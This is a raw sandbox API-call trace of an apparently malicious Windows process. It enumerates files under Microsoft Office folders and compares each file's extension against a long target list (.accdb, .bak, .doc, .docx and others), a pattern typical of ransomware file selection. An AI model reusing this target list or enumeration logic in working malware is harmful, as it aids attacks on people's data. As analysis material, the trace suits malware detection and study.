lstrcmpiW (lpString1=".asc", lpString2=".bmp") returned -1 [0250.303] lstrlenW (lpString=".ascx") returned 5 [0250.303] lstrcmpiW (lpString1=".ascx", lpString2="k.bmp") returned -1 [0250.303] lstrlenW (lpString=".asm") returned 4 [0250.303] lstrcmpiW (lpString1=".asm", lpString2=".bmp") returned -1 [0250.303] lstrlenW (lpString=".asmx") returned 5 [0250.303] lstrcmpiW (lpString1=".asmx", lpString2="k.bmp") returned -1 [0250.303] lstrlenW (lpString=".asp") returned 4 [0250.304] lstrcmpiW (lpString1=".asp", lpString2=".bmp") returned -1 [0250.304] lstrlenW (lpString=".aspx") returned 5 [0250.304] lstrcmpiW (lpString1=".aspx", lpString2="k.bmp") returned -1 [0250.304] lstrlenW (lpString=".asr") returned 4 [0250.304] lstrcmpiW (lpString1=".asr", lpString2=".bmp") returned -1 [0250.304] lstrlenW (lpString=".asx") returned 4 [0250.304] lstrcmpiW (lpString1=".asx", lpString2=".bmp") returned -1 [0250.304] lstrlenW (lpString=".avi") returned 4 [0250.304] lstrcmpiW (lpString1=".avi", lpString2=".bmp") returned -1 [0250.304] lstrlenW (lpString=".avs") returned 4 [0250.304] lstrcmpiW (lpString1=".avs", lpString2=".bmp") returned -1 [0250.304] lstrlenW (lpString=".backup") returned 7 [0250.304] lstrcmpiW (lpString1=".backup", lpString2="ask.bmp") returned -1 [0250.304] lstrlenW (lpString=".bak") returned 4 [0250.304] lstrcmpiW (lpString1=".bak", lpString2=".bmp") returned -1 [0250.305] lstrlenW (lpString=".bay") returned 4 [0250.305] lstrcmpiW (lpString1=".bay", lpString2=".bmp") returned -1 [0250.305] lstrlenW (lpString=".bd") returned 3 [0250.305] lstrcmpiW (lpString1=".bd", lpString2="bmp") returned -1 [0250.305] lstrlenW (lpString=".bin") returned 4 [0250.305] lstrcmpiW (lpString1=".bin", lpString2=".bmp") returned -1 [0250.305] lstrlenW (lpString=".bmp") returned 4 [0250.305] lstrcmpiW (lpString1=".bmp", lpString2=".bmp") returned 0 [0250.305] FindNextFileW (in: hFindFile=0x624540, lpFindFileData=0x38eeb9c | out: lpFindFileData=0x38eeb9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x83a69400, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5f409670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x83a69400, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xae8, dwReserved0=0x0, dwReserved1=0x0, cFileName="attention.gif", cAlternateFileName="ATTENT~1.GIF")) returned 1 [0250.305] lstrlenW (lpString="attention.gif") returned 13 [0250.305] lstrlenW (lpString=".1cd") returned 4 [0250.305] lstrcmpiW (lpString1=".1cd", lpString2=".gif") returned -1 [0250.305] lstrlenW (lpString=".3ds") returned 4 [0250.306] lstrcmpiW (lpString1=".3ds", lpString2=".gif") returned -1 [0250.306] lstrlenW (lpString=".3fr") returned 4 [0250.306] lstrcmpiW (lpString1=".3fr", lpString2=".gif") returned -1 [0250.306] lstrlenW (lpString=".3g2") returned 4 [0250.306] lstrcmpiW (lpString1=".3g2", lpString2=".gif") returned -1 [0250.306] lstrlenW (lpString=".3gp") returned 4 [0250.306] lstrcmpiW (lpString1=".3gp", lpString2=".gif") returned -1 [0250.306] lstrlenW (lpString=".7z") returned 3 [0250.306] lstrcmpiW (lpString1=".7z", lpString2="gif") returned -1 [0250.306] lstrlenW (lpString=".accda") returned 6 [0250.306] lstrcmpiW (lpString1=".accda", lpString2="on.gif") returned -1 [0250.306] lstrlenW (lpString=".accdb") returned 6 [0250.306] lstrcmpiW (lpString1=".accdb", lpString2="on.gif") returned -1 [0250.306] lstrlenW (lpString=".accdc") returned 6 [0250.306] lstrcmpiW (lpString1=".accdc", lpString2="on.gif") returned -1 [0250.307] lstrlenW (lpString=".accde") returned 6 [0250.307] lstrcmpiW (lpString1=".accde", lpString2="on.gif") returned -1 [0250.307] lstrlenW (lpString=".accdt") returned 6 [0250.307] lstrcmpiW (lpString1=".accdt", lpString2="on.gif") returned -1 [0250.307] lstrlenW (lpString=".accdw") returned 6 [0250.307] lstrcmpiW (lpString1=".accdw", lpString2="on.gif") returned -1 [0250.307] lstrlenW (lpString=".adb") returned 4 [0250.307] lstrcmpiW (lpString1=".adb", lpString2=".gif") returned -1 [0250.307] lstrlenW (lpString=".adp") returned 4 [0250.307] lstrcmpiW (lpString1=".adp", lpString2=".gif") returned -1 [0250.307] lstrlenW (lpString=".ai") returned 3 [0250.307] lstrcmpiW (lpString1=".ai", lpString2="gif") returned -1 [0250.307] lstrlenW (lpString=".ai3") returned 4 [0250.307] lstrcmpiW (lpString1=".ai3", lpString2=".gif") returned -1 [0250.307] lstrlenW (lpString=".ai4") returned 4 [0250.308] lstrcmpiW (lpString1=".ai4", lpString2=".gif") returned -1 [0250.308] lstrlenW (lpString=".ai5") returned 4 [0250.308] lstrcmpiW (lpString1=".ai5", lpString2=".gif") returned -1 [0250.308] lstrlenW (lpString=".ai6") returned 4 [0250.308] lstrcmpiW (lpString1=".ai6", lpString2=".gif") returned -1 [0250.308] lstrlenW (lpString=".ai7") returned 4 [0250.308] lstrcmpiW (lpString1=".ai7", lpString2=".gif") returned -1 [0250.308] lstrlenW (lpString=".ai8") returned 4 [0250.308] lstrcmpiW (lpString1=".ai8", lpString2=".gif") returned -1 [0250.308] lstrlenW (lpString=".anim") returned 5 [0250.308] lstrcmpiW (lpString1=".anim", lpString2="n.gif") returned -1 [0250.308] lstrlenW (lpString=".arw") returned 4 [0250.308] lstrcmpiW (lpString1=".arw", lpString2=".gif") returned -1 [0250.309] lstrlenW (lpString=".as") returned 3 [0250.309] lstrcmpiW (lpString1=".as", lpString2="gif") returned -1 [0250.309] lstrlenW (lpString=".asa") returned 4 [0250.309] lstrcmpiW (lpString1=".asa", lpString2=".gif") returned -1 [0250.309] lstrlenW (lpString=".asc") returned 4 [0250.309] lstrcmpiW (lpString1=".asc", lpString2=".gif") returned -1 [0250.309] lstrlenW (lpString=".ascx") returned 5 [0250.309] lstrcmpiW (lpString1=".ascx", lpString2="n.gif") returned -1 [0250.309] lstrlenW (lpString=".asm") returned 4 [0250.309] lstrcmpiW (lpString1=".asm", lpString2=".gif") returned -1 [0250.309] lstrlenW (lpString=".asmx") returned 5 [0250.309] lstrcmpiW (lpString1=".asmx", lpString2="n.gif") returned -1 [0250.309] lstrlenW (lpString=".asp") returned 4 [0250.309] lstrcmpiW (lpString1=".asp", lpString2=".gif") returned -1 [0250.310] lstrlenW (lpString=".aspx") returned 5 [0250.310] lstrcmpiW (lpString1=".aspx", lpString2="n.gif") returned -1 [0250.310] lstrlenW (lpString=".asr") returned 4 [0250.310] lstrcmpiW (lpString1=".asr", lpString2=".gif") returned -1 [0250.310] lstrlenW (lpString=".asx") returned 4 [0250.310] lstrcmpiW (lpString1=".asx", lpString2=".gif") returned -1 [0250.310] lstrlenW (lpString=".avi") returned 4 [0250.310] lstrcmpiW (lpString1=".avi", lpString2=".gif") returned -1 [0250.310] lstrlenW (lpString=".avs") returned 4 [0250.310] lstrcmpiW (lpString1=".avs", lpString2=".gif") returned -1 [0250.310] lstrlenW (lpString=".backup") returned 7 [0250.310] lstrcmpiW (lpString1=".backup", lpString2="ion.gif") returned -1 [0250.310] lstrlenW (lpString=".bak") returned 4 [0250.310] lstrcmpiW (lpString1=".bak", lpString2=".gif") returned -1 [0250.311] lstrlenW (lpString=".bay") returned 4 [0250.311] lstrcmpiW (lpString1=".bay", lpString2=".gif") returned -1 [0250.311] lstrlenW (lpString=".bd") returned 3 [0250.311] lstrcmpiW (lpString1=".bd", lpString2="gif") returned -1 [0250.311] lstrlenW (lpString=".bin") returned 4 [0250.311] lstrcmpiW (lpString1=".bin", lpString2=".gif") returned -1 [0250.311] lstrlenW (lpString=".bmp") returned 4 [0250.311] lstrcmpiW (lpString1=".bmp", lpString2=".gif") returned -1 [0250.311] lstrlenW (lpString=".bz2") returned 4 [0250.311] lstrcmpiW (lpString1=".bz2", lpString2=".gif") returned -1 [0250.627] lstrlenW (lpString=".c") returned 2 [0250.627] lstrcmpiW (lpString1=".c", lpString2="if") returned -1 [0250.627] lstrlenW (lpString=".cdr") returned 4 [0250.627] lstrcmpiW (lpString1=".cdr", lpString2=".gif") returned -1 [0250.627] lstrlenW (lpString=".cer") returned 4 [0250.628] lstrcmpiW (lpString1=".cer", lpString2=".gif") returned -1 [0250.628] lstrlenW (lpString=".cf") returned 3 [0250.628] lstrcmpiW (lpString1=".cf", lpString2="gif") returned -1 [0250.628] lstrlenW (lpString=".cfc") returned 4 [0250.628] lstrcmpiW (lpString1=".cfc", lpString2=".gif") returned -1 [0250.628] lstrlenW (lpString=".cfm") returned 4 [0250.628] lstrcmpiW (lpString1=".cfm", lpString2=".gif") returned -1 [0250.628] lstrlenW (lpString=".cfml") returned 5 [0250.628] lstrcmpiW (lpString1=".cfml", lpString2="n.gif") returned -1 [0250.628] lstrlenW (lpString=".cfu") returned 4 [0250.628] lstrcmpiW (lpString1=".cfu", lpString2=".gif") returned -1 [0250.628] lstrlenW (lpString=".chm") returned 4 [0250.628] lstrcmpiW (lpString1=".chm", lpString2=".gif") returned -1 [0250.628] lstrlenW (lpString=".cin") returned 4 [0250.629] lstrcmpiW (lpString1=".cin", lpString2=".gif") returned -1 [0250.629] lstrlenW (lpString=".class") returned 6 [0250.629] lstrcmpiW (lpString1=".class", lpString2="on.gif") returned -1 [0250.629] lstrlenW (lpString=".clx") returned 4 [0250.629] lstrcmpiW (lpString1=".clx", lpString2=".gif") returned -1 [0250.629] lstrlenW (lpString=".config") returned 7 [0250.629] lstrcmpiW (lpString1=".config", lpString2="ion.gif") returned -1 [0250.629] lstrlenW (lpString=".cpp") returned 4 [0250.629] lstrcmpiW (lpString1=".cpp", lpString2=".gif") returned -1 [0250.629] lstrlenW (lpString=".cr2") returned 4 [0250.629] lstrcmpiW (lpString1=".cr2", lpString2=".gif") returned -1 [0250.629] lstrlenW (lpString=".crt") returned 4 [0250.629] lstrcmpiW (lpString1=".crt", lpString2=".gif") returned -1 [0250.629] lstrlenW (lpString=".crw") returned 4 [0250.629] lstrcmpiW (lpString1=".crw", lpString2=".gif") returned -1 [0250.630] lstrlenW (lpString=".cs") returned 3 [0250.630] lstrcmpiW (lpString1=".cs", lpString2="gif") returned -1 [0250.630] lstrlenW (lpString=".css") returned 4 [0250.630] lstrcmpiW (lpString1=".css", lpString2=".gif") returned -1 [0250.630] lstrlenW (lpString=".csv") returned 4 [0250.630] lstrcmpiW (lpString1=".csv", lpString2=".gif") returned -1 [0250.630] lstrlenW (lpString=".cub") returned 4 [0250.630] lstrcmpiW (lpString1=".cub", lpString2=".gif") returned -1 [0250.630] lstrcmpiW (lpString1=".dae", lpString2=".gif") returned -1 [0250.631] lstrcmpiW (lpString1=".dat", lpString2=".gif") returned -1 [0250.631] lstrcmpiW (lpString1=".db", lpString2="gif") returned -1 [0250.631] lstrcmpiW (lpString1=".dbf", lpString2=".gif") returned -1 [0250.631] lstrcmpiW (lpString1=".dbx", lpString2=".gif") returned -1 [0250.631] lstrcmpiW (lpString1=".dc3", lpString2=".gif") returned -1 [0250.631] FindNextFileW (in: hFindFile=0x624540, lpFindFileData=0x38eeb9c | out: lpFindFileData=0x38eeb9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x83a69400, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5f61e9b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x83a69400, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x614e, dwReserved0=0x0, dwReserved1=0x0, cFileName="BG_ADOBE.GIF", cAlternateFileName="")) returned 1 [0250.632] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x0, Size=0xfffe) returned 0x43be008 [0250.999] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FieldTypePreview\\*", lpFindFileData=0x38ee920 | out: lpFindFileData=0x38ee920*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51741df0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6245c0 [0251.171] FindNextFileW (in: hFindFile=0x6245c0, lpFindFileData=0x38ee920 | out: lpFindFileData=0x38ee920*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51741df0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0251.171] FindNextFileW (in: hFindFile=0x6245c0, lpFindFileData=0x38ee920 | out: lpFindFileData=0x38ee920*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8608ee00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x51767f50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8608ee00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x368c, dwReserved0=0x0, dwReserved1=0x0, cFileName="Attachments.jpg", cAlternateFileName="ATTACH~1.JPG")) returned 1 [0251.172] FindClose (in: hFindFile=0x6245c0 | out: hFindFile=0x6245c0) returned 1 [0251.175] HeapFree (in: hHeap=0x590000, dwFlags=0x0, lpMem=0x43be008 | out: hHeap=0x590000) returned 1 [0251.175] FindNextFileW (in: hFindFile=0x624540, lpFindFileData=0x38eeb9c | out: lpFindFileData=0x38eeb9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x886b4800, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x528d0030, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x886b4800, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x13e, dwReserved0=0x0, dwReserved1=0x0, cFileName="FORM.ICO", cAlternateFileName="")) returned 1 [0251.175] lstrlenW (lpString="FORM.ICO") returned 8 [0251.175] lstrlenW (lpString=".1cd") returned 4 [0251.176] lstrcmpiW (lpString1=".1cd", lpString2=".ICO") returned -1 [0251.176] lstrlenW (lpString=".3ds") returned 4 [0251.176] lstrcmpiW (lpString1=".3ds", lpString2=".ICO") returned -1 [0251.176] lstrlenW (lpString=".3fr") returned 4 [0251.176] lstrcmpiW (lpString1=".3fr", lpString2=".ICO") returned -1 [0251.176] lstrlenW (lpString=".3g2") returned 4 [0251.176] lstrcmpiW (lpString1=".3g2", lpString2=".ICO") returned -1 [0251.176] lstrlenW (lpString=".3gp") returned 4 [0251.176] lstrcmpiW (lpString1=".3gp", lpString2=".ICO") returned -1 [0251.176] lstrlenW (lpString=".7z") returned 3 [0251.176] lstrcmpiW (lpString1=".7z", lpString2="ICO") returned -1 [0251.176] lstrlenW (lpString=".accda") returned 6 [0251.176] lstrcmpiW (lpString1=".accda", lpString2="RM.ICO") returned -1 [0251.176] lstrlenW (lpString=".accdb") returned 6 [0251.177] lstrcmpiW (lpString1=".accdb", lpString2="RM.ICO") returned -1 [0251.177] lstrlenW (lpString=".accdc") returned 6 [0251.177] lstrcmpiW (lpString1=".accdc", lpString2="RM.ICO") returned -1 [0251.177] lstrlenW (lpString=".accde") returned 6 [0251.177] lstrcmpiW (lpString1=".accde", lpString2="RM.ICO") returned -1 [0251.177] lstrlenW (lpString=".accdt") returned 6 [0251.177] lstrcmpiW (lpString1=".accdt", lpString2="RM.ICO") returned -1 [0251.177] lstrlenW (lpString=".accdw") returned 6 [0251.177] lstrcmpiW (lpString1=".accdw", lpString2="RM.ICO") returned -1 [0251.177] lstrlenW (lpString=".adb") returned 4 [0251.177] lstrcmpiW (lpString1=".adb", lpString2=".ICO") returned -1 [0251.177] lstrlenW (lpString=".adp") returned 4 [0251.177] lstrcmpiW (lpString1=".adp", lpString2=".ICO") returned -1 [0251.177] lstrlenW (lpString=".ai") returned 3 [0251.178] lstrcmpiW (lpString1=".ai", lpString2="ICO") returned -1 [0251.178] lstrlenW (lpString=".ai3") returned 4 [0251.178] lstrcmpiW (lpString1=".ai3", lpString2=".ICO") returned -1 [0251.178] lstrlenW (lpString=".ai4") returned 4 [0251.178] lstrcmpiW (lpString1=".ai4", lpString2=".ICO") returned -1 [0251.178] lstrlenW (lpString=".ai5") returned 4 [0251.178] lstrcmpiW (lpString1=".ai5", lpString2=".ICO") returned -1 [0251.178] lstrlenW (lpString=".ai6") returned 4 [0251.178] lstrcmpiW (lpString1=".ai6", lpString2=".ICO") returned -1 [0251.178] lstrlenW (lpString=".ai7") returned 4 [0251.178] lstrcmpiW (lpString1=".ai7", lpString2=".ICO") returned -1 [0251.178] lstrlenW (lpString=".ai8") returned 4 [0251.178] lstrcmpiW (lpString1=".ai8", lpString2=".ICO") returned -1 [0251.178] lstrlenW (lpString=".anim") returned 5 [0251.178] lstrcmpiW (lpString1=".anim", lpString2="M.ICO") returned -1 [0251.179] lstrlenW (lpString=".arw") returned 4 [0251.179] lstrcmpiW (lpString1=".arw", lpString2=".ICO") returned -1 [0251.179] lstrlenW (lpString=".as") returned 3 [0251.179] lstrcmpiW (lpString1=".as", lpString2="ICO") returned -1 [0251.179] lstrlenW (lpString=".asa") returned 4 [0251.179] lstrcmpiW (lpString1=".asa", lpString2=".ICO") returned -1 [0251.179] lstrlenW (lpString=".asc") returned 4 [0251.179] lstrcmpiW (lpString1=".asc", lpString2=".ICO") returned -1 [0251.179] lstrlenW (lpString=".ascx") returned 5 [0251.179] lstrcmpiW (lpString1=".ascx", lpString2="M.ICO") returned -1 [0251.179] lstrlenW (lpString=".asm") returned 4 [0251.179] lstrcmpiW (lpString1=".asm", lpString2=".ICO") returned -1 [0251.180] lstrlenW (lpString=".asmx") returned 5 [0251.180] lstrcmpiW (lpString1=".asmx", lpString2="M.ICO") returned -1 [0251.180] lstrlenW (lpString=".asp") returned 4 [0251.180] lstrcmpiW (lpString1=".asp", lpString2=".ICO") returned -1 [0251.180] lstrlenW (lpString=".aspx") returned 5 [0251.180] lstrcmpiW (lpString1=".aspx", lpString2="M.ICO") returned -1 [0251.180] lstrlenW (lpString=".asr") returned 4 [0251.180] lstrcmpiW (lpString1=".asr", lpString2=".ICO") returned -1 [0251.180] lstrlenW (lpString=".asx") returned 4 [0251.180] lstrcmpiW (lpString1=".asx", lpString2=".ICO") returned -1 [0251.180] lstrlenW (lpString=".avi") returned 4 [0251.180] lstrcmpiW (lpString1=".avi", lpString2=".ICO") returned -1 [0251.180] lstrlenW (lpString=".avs") returned 4 [0251.181] lstrcmpiW (lpString1=".avs", lpString2=".ICO") returned -1 [0251.181] lstrlenW (lpString=".backup") returned 7 [0251.181] lstrcmpiW (lpString1=".backup", lpString2="ORM.ICO") returned -1 [0251.181] lstrlenW (lpString=".bak") returned 4 [0251.181] lstrcmpiW (lpString1=".bak", lpString2=".ICO") returned -1 [0251.181] lstrlenW (lpString=".bay") returned 4 [0251.181] lstrcmpiW (lpString1=".bay", lpString2=".ICO") returned -1 [0251.181] lstrlenW (lpString=".bd") returned 3 [0251.181] lstrcmpiW (lpString1=".bd", lpString2="ICO") returned -1 [0251.181] lstrlenW (lpString=".bin") returned 4 [0251.181] lstrcmpiW (lpString1=".bin", lpString2=".ICO") returned -1 [0251.181] lstrlenW (lpString=".bmp") returned 4 [0251.181] lstrcmpiW (lpString1=".bmp", lpString2=".ICO") returned -1 [0251.181] lstrlenW (lpString=".bz2") returned 4 [0251.181] lstrcmpiW (lpString1=".bz2", lpString2=".ICO") returned -1 [0251.182] lstrlenW (lpString=".c") returned 2 [0251.182] lstrcmpiW (lpString1=".c", lpString2="CO") returned -1 [0251.182] lstrlenW (lpString=".cdr") returned 4 [0251.182] lstrcmpiW (lpString1=".cdr", lpString2=".ICO") returned -1 [0251.182] lstrlenW (lpString=".cer") returned 4 [0251.182] lstrcmpiW (lpString1=".cer", lpString2=".ICO") returned -1 [0251.182] lstrlenW (lpString=".cf") returned 3 [0251.182] lstrcmpiW (lpString1=".cf", lpString2="ICO") returned -1 [0251.182] lstrlenW (lpString=".cfc") returned 4 [0251.182] lstrcmpiW (lpString1=".cfc", lpString2=".ICO") returned -1 [0251.182] lstrlenW (lpString=".cfm") returned 4 [0251.182] lstrcmpiW (lpString1=".cfm", lpString2=".ICO") returned -1 [0251.182] lstrlenW (lpString=".cfml") returned 5 [0251.182] lstrcmpiW (lpString1=".cfml", lpString2="M.ICO") returned -1 [0251.183] lstrlenW (lpString=".cfu") returned 4 [0251.183] lstrcmpiW (lpString1=".cfu", lpString2=".ICO") returned -1 [0251.183] lstrlenW (lpString=".chm") returned 4 [0251.183] lstrcmpiW (lpString1=".chm", lpString2=".ICO") returned -1 [0251.183] lstrlenW (lpString=".cin") returned 4 [0251.183] lstrcmpiW (lpString1=".cin", lpString2=".ICO") returned -1 [0251.183] lstrlenW (lpString=".class") returned 6 [0251.183] lstrcmpiW (lpString1=".class", lpString2="RM.ICO") returned -1 [0251.183] lstrlenW (lpString=".clx") returned 4 [0251.183] lstrcmpiW (lpString1=".clx", lpString2=".ICO") returned -1 [0251.183] lstrlenW (lpString=".config") returned 7 [0251.183] lstrcmpiW (lpString1=".config", lpString2="ORM.ICO") returned -1 [0251.183] lstrlenW (lpString=".cpp") returned 4 [0251.184] lstrcmpiW (lpString1=".cpp", lpString2=".ICO") returned -1 [0251.184] lstrlenW (lpString=".cr2") returned 4 [0251.184] lstrcmpiW (lpString1=".cr2", lpString2=".ICO") returned -1 [0251.184] lstrlenW (lpString=".crt") returned 4 [0251.184] lstrcmpiW (lpString1=".crt", lpString2=".ICO") returned -1 [0251.184] lstrlenW (lpString=".crw") returned 4 [0251.184] lstrcmpiW (lpString1=".crw", lpString2=".ICO") returned -1 [0251.184] lstrlenW (lpString=".cs") returned 3 [0251.184] lstrcmpiW (lpString1=".cs", lpString2="ICO") returned -1 [0251.184] lstrlenW (lpString=".css") returned 4 [0251.184] lstrcmpiW (lpString1=".css", lpString2=".ICO") returned -1 [0251.184] lstrlenW (lpString=".csv") returned 4 [0251.184] lstrcmpiW (lpString1=".csv", lpString2=".ICO") returned -1 [0251.184] lstrlenW (lpString=".cub") returned 4 [0251.185] lstrcmpiW (lpString1=".cub", lpString2=".ICO") returned -1 [0251.185] lstrlenW (lpString=".dae") returned 4 [0251.185] lstrcmpiW (lpString1=".dae", lpString2=".ICO") returned -1 [0251.185] lstrlenW (lpString=".dat") returned 4 [0251.185] lstrcmpiW (lpString1=".dat", lpString2=".ICO") returned -1 [0251.186] lstrlenW (lpString=".db") returned 3 [0251.186] lstrcmpiW (lpString1=".db", lpString2="ICO") returned -1 [0251.186] lstrlenW (lpString=".dbf") returned 4 [0251.186] lstrcmpiW (lpString1=".dbf", lpString2=".ICO") returned -1 [0251.186] lstrlenW (lpString=".dbx") returned 4 [0251.186] lstrcmpiW (lpString1=".dbx", lpString2=".ICO") returned -1 [0251.186] lstrlenW (lpString=".dc3") returned 4 [0251.186] lstrcmpiW (lpString1=".dc3", lpString2=".ICO") returned -1 [0251.186] lstrlenW (lpString=".dcm") returned 4 [0251.186] lstrcmpiW (lpString1=".dcm", lpString2=".ICO") returned -1 [0251.186] lstrlenW (lpString=".dcr") returned 4 [0251.186] lstrcmpiW (lpString1=".dcr", lpString2=".ICO") returned -1 [0251.186] lstrlenW (lpString=".der") returned 4 [0251.186] lstrcmpiW (lpString1=".der", lpString2=".ICO") returned -1 [0251.187] lstrlenW (lpString=".dib") returned 4 [0251.187] lstrcmpiW (lpString1=".dib", lpString2=".ICO") returned -1 [0251.187] lstrlenW (lpString=".dic") returned 4 [0251.187] lstrcmpiW (lpString1=".dic", lpString2=".ICO") returned -1 [0251.187] lstrlenW (lpString=".dif") returned 4 [0251.187] lstrcmpiW (lpString1=".dif", lpString2=".ICO") returned -1 [0251.187] lstrlenW (lpString=".divx") returned 5 [0251.187] lstrcmpiW (lpString1=".divx", lpString2="M.ICO") returned -1 [0251.187] lstrlenW (lpString=".djvu") returned 5 [0251.187] lstrcmpiW (lpString1=".djvu", lpString2="M.ICO") returned -1 [0251.187] lstrlenW (lpString=".dng") returned 4 [0251.187] lstrcmpiW (lpString1=".dng", lpString2=".ICO") returned -1 [0251.187] lstrlenW (lpString=".doc") returned 4 [0251.187] lstrcmpiW (lpString1=".doc", lpString2=".ICO") returned -1 [0251.187] lstrlenW (lpString=".docm") returned 5 [0251.187] lstrcmpiW (lpString1=".docm", lpString2="M.ICO") returned -1 [0251.188] lstrlenW (lpString=".docx") returned 5 [0251.188] lstrcmpiW (lpString1=".docx", lpString2="M.ICO") returned -1 [0251.188] lstrlenW (lpString=".dot") returned 4 [0251.188] lstrcmpiW (lpString1=".dot", lpString2=".ICO") returned -1 [0251.188] lstrlenW (lpString=".dotm") returned 5 [0251.188] lstrcmpiW (lpString1=".dotm", lpString2="M.ICO") returned -1 [0251.188] lstrlenW (lpString=".dotx") returned 5 [0251.188] lstrcmpiW (lpString1=".dotx", lpString2="M.ICO") returned -1 [0251.188] lstrlenW (lpString=".dpx") returned 4 [0251.188] lstrcmpiW (lpString1=".dpx", lpString2=".ICO") returned -1 [0251.188] lstrlenW (lpString=".dqy") returned 4 [0251.188] lstrcmpiW (lpString1=".dqy", lpString2=".ICO") returned -1 [0251.188] lstrlenW (lpString=".dsn") returned 4 [0251.188] lstrcmpiW (lpString1=".dsn", lpString2=".ICO") returned -1 [0251.189] lstrlenW (lpString=".dt") returned 3 [0251.189] lstrcmpiW (lpString1=".dt", lpString2="ICO") returned -1 [0251.189] lstrlenW (lpString=".dtd") returned 4 [0251.189] lstrcmpiW (lpString1=".dtd", lpString2=".ICO") returned -1 [0251.189] lstrlenW (lpString=".dwg") returned 4 [0251.189] lstrcmpiW (lpString1=".dwg", lpString2=".ICO") returned -1 [0251.189] lstrlenW (lpString=".dwt") returned 4 [0251.189] lstrcmpiW (lpString1=".dwt", lpString2=".ICO") returned -1 [0251.189] lstrlenW (lpString=".dx") returned 3 [0251.189] lstrcmpiW (lpString1=".dx", lpString2="ICO") returned -1 [0251.189] lstrlenW (lpString=".dxf") returned 4 [0251.189] lstrcmpiW (lpString1=".dxf", lpString2=".ICO") returned -1 [0251.189] lstrlenW (lpString=".edml") returned 5 [0251.190] lstrcmpiW (lpString1=".edml", lpString2="M.ICO") returned -1 [0251.190] lstrlenW (lpString=".efd") returned 4 [0251.190] lstrcmpiW (lpString1=".efd", lpString2=".ICO") returned -1 [0251.190] lstrlenW (lpString=".elf") returned 4 [0251.190] lstrcmpiW (lpString1=".elf", lpString2=".ICO") returned -1 [0251.190] lstrlenW (lpString=".emf") returned 4 [0251.190] lstrcmpiW (lpString1=".emf", lpString2=".ICO") returned -1 [0251.190] lstrlenW (lpString=".emz") returned 4 [0251.190] lstrcmpiW (lpString1=".emz", lpString2=".ICO") returned -1 [0251.190] lstrlenW (lpString=".epf") returned 4 [0251.190] lstrcmpiW (lpString1=".epf", lpString2=".ICO") returned -1 [0251.190] lstrlenW (lpString=".eps") returned 4 [0251.190] lstrcmpiW (lpString1=".eps", lpString2=".ICO") returned -1 [0251.191] lstrlenW (lpString=".epsf") returned 5 [0251.191] lstrcmpiW (lpString1=".epsf", lpString2="M.ICO") returned -1 [0251.191] lstrlenW (lpString=".epsp") returned 5 [0251.191] lstrcmpiW (lpString1=".epsp", lpString2="M.ICO") returned -1 [0251.191] lstrlenW (lpString=".erf") returned 4 [0251.191] lstrcmpiW (lpString1=".erf", lpString2=".ICO") returned -1 [0251.191] lstrlenW (lpString=".exr") returned 4 [0251.191] lstrcmpiW (lpString1=".exr", lpString2=".ICO") returned -1 [0251.191] lstrlenW (lpString=".f4v") returned 4 [0251.191] lstrcmpiW (lpString1=".f4v", lpString2=".ICO") returned -1 [0251.191] lstrlenW (lpString=".fido") returned 5 [0251.191] lstrcmpiW (lpString1=".fido", lpString2="M.ICO") returned -1 [0251.191] lstrlenW (lpString=".flm") returned 4 [0251.191] lstrcmpiW (lpString1=".flm", lpString2=".ICO") returned -1 [0251.191] lstrlenW (lpString=".flv") returned 4 [0251.192] lstrcmpiW (lpString1=".flv", lpString2=".ICO") returned -1 [0251.192] lstrlenW (lpString=".frm") returned 4 [0251.192] lstrcmpiW (lpString1=".frm", lpString2=".ICO") returned -1 [0251.192] lstrlenW (lpString=".fxg") returned 4 [0251.192] lstrcmpiW (lpString1=".fxg", lpString2=".ICO") returned -1 [0251.192] lstrlenW (lpString=".geo") returned 4 [0251.192] lstrcmpiW (lpString1=".geo", lpString2=".ICO") returned -1 [0251.192] lstrlenW (lpString=".gif") returned 4 [0251.192] lstrcmpiW (lpString1=".gif", lpString2=".ICO") returned -1 [0251.192] lstrlenW (lpString=".grs") returned 4 [0251.192] lstrcmpiW (lpString1=".grs", lpString2=".ICO") returned -1 [0251.192] lstrlenW (lpString=".gz") returned 3 [0251.192] lstrcmpiW 